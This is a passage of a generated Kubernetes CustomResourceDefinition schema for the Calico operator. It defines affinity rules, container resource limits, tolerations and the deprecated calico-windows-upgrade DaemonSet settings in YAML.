                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              weight:
                                                description: |-
                                                  weight associated with matching the corresponding podAffinityTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - podAffinityTerm
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the anti-affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the anti-affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to a pod label update), the
                                            system may or may not try to eventually evict the pod from its node.
                                            When there are multiple elements, the lists of nodes corresponding to each
                                            podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                          items:
                                            description: |-
                                              Defines a set of pods (namely those matching the labelSelector
                                              relative to the given namespace(s)) that this pod should be
                                              co-located (affinity) or not co-located (anti-affinity) with,
                                              where co-located is defined as running on a node whose value of
                                              the label with key <topologyKey> matches that of any node on which
                                              a pod of the set of pods is running
                                            properties:
                                              labelSelector:
                                                description: |-
                                                  A label query over a set of resources, in this case pods.
                                                  If it's null, this PodAffinityTerm matches with no Pods.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              matchLabelKeys:
                                                description: |-
                                                  MatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                  Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              mismatchLabelKeys:
                                                description: |-
                                                  MismatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                  Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              namespaceSelector:
                                                description: |-
                                                  A label query over the set of namespaces that the term applies to.
                                                  The term is applied to the union of the namespaces selected by this field
                                                  and the ones listed in the namespaces field.
                                                  null selector and null or empty namespaces list means "this pod's namespace".
                                                  An empty selector ({}) matches all namespaces.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              namespaces:
                                                description: |-
                                                  namespaces specifies a static list of namespace names that the term applies to.
                                                  The term is applied to the union of the namespaces listed in this field
                                                  and the ones selected by namespaceSelector.
                                                  null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              topologyKey:
                                                description: |-
                                                  This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                  the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                  whose value of the label with key topologyKey matches that of any node on which any of the
                                                  selected pods is running.
                                                  Empty topologyKey is not allowed.
                                                type: string
                                            required:
                                            - topologyKey
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      type: object
                                  type: object
                                containers:
                                  description: |-
                                    Containers is a list of calico-node-windows containers.
                                    If specified, this overrides the specified calico-node-windows DaemonSet containers.
                                    If omitted, the calico-node-windows DaemonSet will use its default values for its containers.
                                  items:
                                    description: CalicoNodeWindowsDaemonSetContainer
                                      is a calico-node-windows DaemonSet container.
                                    properties:
                                      name:
                                        description: |-
                                          Name is an enum which identifies the calico-node-windows DaemonSet container by name.
                                          Supported values are: calico-node-windows
                                        enum:
                                        - calico-node-windows
                                        type: string
                                      resources:
                                        description: |-
                                          Resources allows customization of limits and requests for compute resources such as cpu and memory.
                                          If specified, this overrides the named calico-node-windows DaemonSet container's resources.
                                          If omitted, the calico-node-windows DaemonSet will use its default value for this container's resources.
                                          If used in conjunction with the deprecated ComponentResources, then this value takes precedence.
                                        properties:
                                          claims:
                                            description: |-
                                              Claims lists the names of resources, defined in spec.resourceClaims,
                                              that are used by this container.
                                              This is an alpha field and requires enabling the
                                              DynamicResourceAllocation feature gate.
                                              This field is immutable. It can only be set for containers.
                                            items:
                                              description: ResourceClaim references
                                                one entry in PodSpec.ResourceClaims.
                                              properties:
                                                name:
                                                  description: |-
                                                    Name must match the name of one entry in pod.spec.resourceClaims of
                                                    the Pod where this field is used. It makes that resource available
                                                    inside a container.
                                                  type: string
                                                request:
                                                  description: |-
                                                    Request is the name chosen for a request in the referenced claim.
                                                    If empty, everything from the claim is made available, otherwise
                                                    only the result of this request.
                                                  type: string
                                              required:
                                              - name
                                              type: object
                                            type: array
                                            x-kubernetes-list-map-keys:
                                            - name
                                            x-kubernetes-list-type: map
                                          limits:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Limits describes the maximum amount of compute resources allowed.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                          requests:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Requests describes the minimum amount of compute resources required.
                                              If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                              otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                        type: object
                                    required:
                                    - name
                                    type: object
                                  type: array
                                initContainers:
                                  description: |-
                                    InitContainers is a list of calico-node-windows init containers.
                                    If specified, this overrides the specified calico-node-windows DaemonSet init containers.
                                    If omitted, the calico-node-windows DaemonSet will use its default values for its init containers.
                                  items:
                                    description: CalicoNodeWindowsDaemonSetInitContainer
                                      is a calico-node-windows DaemonSet init container.
                                    properties:
                                      name:
                                        description: |-
                                          Name is an enum which identifies the calico-node-windows DaemonSet init container by name.
                                          Supported values are: install-cni;hostpath-init, flexvol-driver, mount-bpffs, node-certs-key-cert-provisioner, calico-node-windows-prometheus-server-tls-key-cert-provisioner
                                        enum:
                                        - install-cni
                                        - hostpath-init
                                        - flexvol-driver
                                        - mount-bpffs
                                        - node-certs-key-cert-provisioner
                                        - calico-node-windows-prometheus-server-tls-key-cert-provisioner
                                        type: string
                                      resources:
                                        description: |-
                                          Resources allows customization of limits and requests for compute resources such as cpu and memory.
                                          If specified, this overrides the named calico-node-windows DaemonSet init container's resources.
                                          If omitted, the calico-node-windows DaemonSet will use its default value for this container's resources.
                                          If used in conjunction with the deprecated ComponentResources, then this value takes precedence.
                                        properties:
                                          claims:
                                            description: |-
                                              Claims lists the names of resources, defined in spec.resourceClaims,
                                              that are used by this container.
                                              This is an alpha field and requires enabling the
                                              DynamicResourceAllocation feature gate.
                                              This field is immutable. It can only be set for containers.
                                            items:
                                              description: ResourceClaim references
                                                one entry in PodSpec.ResourceClaims.
                                              properties:
                                                name:
                                                  description: |-
                                                    Name must match the name of one entry in pod.spec.resourceClaims of
                                                    the Pod where this field is used. It makes that resource available
                                                    inside a container.
                                                  type: string
                                                request:
                                                  description: |-
                                                    Request is the name chosen for a request in the referenced claim.
                                                    If empty, everything from the claim is made available, otherwise
                                                    only the result of this request.
                                                  type: string
                                              required:
                                              - name
                                              type: object
                                            type: array
                                            x-kubernetes-list-map-keys:
                                            - name
                                            x-kubernetes-list-type: map
                                          limits:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Limits describes the maximum amount of compute resources allowed.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                          requests:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Requests describes the minimum amount of compute resources required.
                                              If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                              otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                        type: object
                                    required:
                                    - name
                                    type: object
                                  type: array
                                nodeSelector:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    NodeSelector is the calico-node-windows pod's scheduling constraints.
                                    If specified, each of the key/value pairs are added to the calico-node-windows DaemonSet nodeSelector provided
                                    the key does not already exist in the object's nodeSelector.
                                    If omitted, the calico-node-windows DaemonSet will use its default value for nodeSelector.
                                    WARNING: Please note that this field will modify the default calico-node-windows DaemonSet nodeSelector.
                                  type: object
                                tolerations:
                                  description: |-
                                    Tolerations is the calico-node-windows pod's tolerations.
                                    If specified, this overrides any tolerations that may be set on the calico-node-windows DaemonSet.
                                    If omitted, the calico-node-windows DaemonSet will use its default value for tolerations.
                                    WARNING: Please note that this field will override the default calico-node-windows DaemonSet tolerations.
                                  items:
                                    description: |-
                                      The pod this Toleration is attached to tolerates any taint that matches
                                      the triple <key,value,effect> using the matching operator <operator>.
                                    properties:
                                      effect:
                                        description: |-
                                          Effect indicates the taint effect to match. Empty means match all taint effects.
                                          When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute.
                                        type: string
                                      key:
                                        description: |-
                                          Key is the taint key that the toleration applies to. Empty means match all taint keys.
                                          If the key is empty, operator must be Exists; this combination means to match all values and all keys.
                                        type: string
                                      operator:
                                        description: |-
                                          Operator represents a key's relationship to the value.
                                          Valid operators are Exists and Equal. Defaults to Equal.
                                          Exists is equivalent to wildcard for value, so that a pod can
                                          tolerate all taints of a particular category.
                                        type: string
                                      tolerationSeconds:
                                        description: |-
                                          TolerationSeconds represents the period of time the toleration (which must be
                                          of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default,
                                          it is not set, which means tolerate the taint forever (do not evict). Zero and
                                          negative values will be treated as 0 (evict immediately) by the system.
                                        format: int64
                                        type: integer
                                      value:
                                        description: |-
                                          Value is the taint value the toleration matches to.
                                          If the operator is Exists, the value should be empty, otherwise just a regular string.
                                        type: string
                                    type: object
                                  type: array
                              type: object
                          type: object
                      type: object
                  type: object
                calicoWindowsUpgradeDaemonSet:
                  description: |-
                    Deprecated. The CalicoWindowsUpgradeDaemonSet is deprecated and will be removed from the API in the future.
                    CalicoWindowsUpgradeDaemonSet configures the calico-windows-upgrade DaemonSet.
                  properties:
                    metadata:
                      description: Metadata is a subset of a Kubernetes object's metadata
                        that is added to the Deployment.
                      properties:
                        annotations:
                          additionalProperties:
                            type: string
                          description: |-
                            Annotations is a map of arbitrary non-identifying metadata. Each of these
                            key/value pairs are added to the object's annotations provided the key does not
                            already exist in the object's annotations.
                          type: object
                        labels:
                          additionalProperties:
                            type: string
                          description: |-
                            Labels is a map of string keys and values that may match replicaset and
                            service selectors. Each of these key/value pairs are added to the
                            object's labels provided the key does not already exist in the object's labels.
                          type: object
                      type: object
                    spec:
                      description: Spec is the specification of the calico-windows-upgrade
                        DaemonSet.
                      properties:
                        minReadySeconds:
                          description: |-
                            MinReadySeconds is the minimum number of seconds for which a newly created Deployment pod should
                            be ready without any of its container crashing, for it to be considered available.
                            If specified, this overrides any minReadySeconds value that may be set on the calico-windows-upgrade DaemonSet.
                            If omitted, the calico-windows-upgrade DaemonSet will use its default value for minReadySeconds.
                          format: int32
                          maximum: 2147483647
                          minimum: 0
                          type: integer
                        template:
                          description: Template describes the calico-windows-upgrade
                            DaemonSet pod that will be created.
                          properties:
                            metadata:
                              description: |-
                                Metadata is a subset of a Kubernetes object's metadata that is added to
                                the pod's metadata.
                              properties:
                                annotations:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    Annotations is a map of arbitrary non-identifying metadata. Each of these
                                    key/value pairs are added to the object's annotations provided the key does not
                                    already exist in the object's annotations.
                                  type: object
                                labels:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    Labels is a map of string keys and values that may match replicaset and
                                    service selectors. Each of these key/value pairs are added to the
                                    object's labels provided the key does not already exist in the object's labels.
                                  type: object
                              type: object
                            spec:
                              description: Spec is the calico-windows-upgrade DaemonSet's
                                PodSpec.
                              properties:
                                affinity:
                                  description: |-
                                    Affinity is a group of affinity scheduling rules for the calico-windows-upgrade pods.
                                    If specified, this overrides any affinity that may be set on the calico-windows-upgrade DaemonSet.
                                    If omitted, the calico-windows-upgrade DaemonSet will use its default value for affinity.
                                    WARNING: Please note that this field will override the default calico-windows-upgrade DaemonSet affinity.
                                  properties:
                                    nodeAffinity:
                                      description: Describes node affinity scheduling
                                        rules for the pod.
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node matches the corresponding matchExpressions; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: |-
                                              An empty preferred scheduling term matches all objects with implicit weight 0
                                              (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op).
                                            properties:
                                              preference:
                                                description: A node selector term,
                                                  associated with the corresponding
                                                  weight.
                                                properties:
                                                  matchExpressions:
                                                    description: A list of node selector
                                                      requirements by node's labels.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchFields:
                                                    description: A list of node selector
                                                      requirements by node's fields.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              weight:
                                                description: Weight associated with
                                                  matching the corresponding nodeSelectorTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - preference
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to an update), the system
                                            may or may not try to eventually evict the pod from its node.
                                          properties:
                                            nodeSelectorTerms:
                                              description: Required. A list of node
                                                selector terms. The terms are ORed.
                                              items:
                                                description: |-
                                                  A null or empty node selector term matches no objects. The requirements of
                                                  them are ANDed.
                                                  The TopologySelectorTerm type implements a subset of the NodeSelectorTerm.
                                                properties:
                                                  matchExpressions:
                                                    description: A list of node selector
                                                      requirements by node's labels.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchFields:
                                                    description: A list of node selector
                                                      requirements by node's fields.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          required:
                                          - nodeSelectorTerms
                                          type: object
                                          x-kubernetes-map-type: atomic
                                      type: object
                                    podAffinity:
                                      description: Describes pod affinity scheduling
                                        rules (e.g. co-locate this pod in the same
                                        node, zone, etc. as some other pod(s)).
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: The weights of all of the
                                              matched WeightedPodAffinityTerm fields
                                              are added per-node to find the most
                                              preferred node(s)
                                            properties:
                                              podAffinityTerm:
                                                description: Required. A pod affinity
                                                  term, associated with the corresponding
                                                  weight.
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
